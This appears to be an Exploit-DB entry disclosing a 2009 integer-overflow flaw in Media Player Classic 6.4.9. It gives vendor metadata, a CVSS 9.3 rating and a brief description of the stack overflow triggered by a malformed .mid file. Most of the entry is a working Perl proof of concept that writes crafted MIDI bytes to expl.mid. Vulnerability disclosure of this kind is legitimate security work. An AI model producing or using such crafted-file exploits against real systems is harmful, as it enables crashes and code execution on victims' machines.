Media Player Classic 6.4.9(.mid) Integer Overflow PoC

vendor:

Media Player Classic

by:

PLATEN

9.3

CVSS

HIGH

Integer Overflow

190

CWE

Product Name: Media Player Classic

Affected Version From: 6.4.2009

Affected Version To: 6.4.2009

Patch Exists: YES

Related CWE: N/A

CPE: a:media_player_classic:media_player_classic

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

Media Player Classic 6.4.9(.mid) Integer Overflow PoC

A vulnerability in Media Player Classic 6.4.9 allows an attacker to execute arbitrary code by sending a specially crafted .mid file. This is due to an integer overflow in the handling of the .mid file. The vulnerability is triggered when the .mid file is opened, leading to a stack-based buffer overflow.

Mitigation:

Upgrade to the latest version of Media Player Classic 6.4.9.1

Source

Exploit-DB raw data:

#!/usr/bin/perl

print qq(

  ############################################################
  ##            Iranian Pentesters Home                     ##
  ##               Www.Pentesters.Ir                        ##
  ##              PLATEN -[ H.jafari ]-                     ## 
  ## Media Player Classic 6.4.9(.mid) Integer Overflow PoC  ##
  ## Vulnerability Discovered By : PLATEN                   ##
  ## E-mail && blog:                                        ##
  ## hjafari.blogspot.com                                   ##
  ## platen.secure[at]gmail[dot]com                         ## 
  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##
  ## and all members in Pentesters.ir                       ##
  ############################################################
);

$boom = "\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x01\x00\x60\x4d\x54".
"\x72\x6b\x00\x00\x00\x4e\x00\xff\x03\x08\x34\x31\x33\x61\x34\x61".
"\x35\x30\x00\x91\x41\x60\x01\x3a\x60\x01\x4a\x60\x01\x50\x60\x7d".
"\x81\x41\x01\x01\x3a\x5f\x8d\xe4\xa0\x01\x50\x01\x3d\x91\x41\x60".
"\x81\x00\x81\x41\x40\x00\x91\x3a\x60\x81\x00\x76\x6f\xcc\x3d\xa6".
"\xc2\x48\xee\x8e\xca\xc2\x57\x00\x91\x50\x60\x81\x00\x81\x50\x40".
"\x00\xff\x2f\x00";

open(fhandle,'>>expl.mid') || die "can't create file: expl.mid";
print fhandle $boom;
close(fhandle);
print "\n  [+] File created successfully: expl.mid \n";

# milw0rm.com [2009-09-09]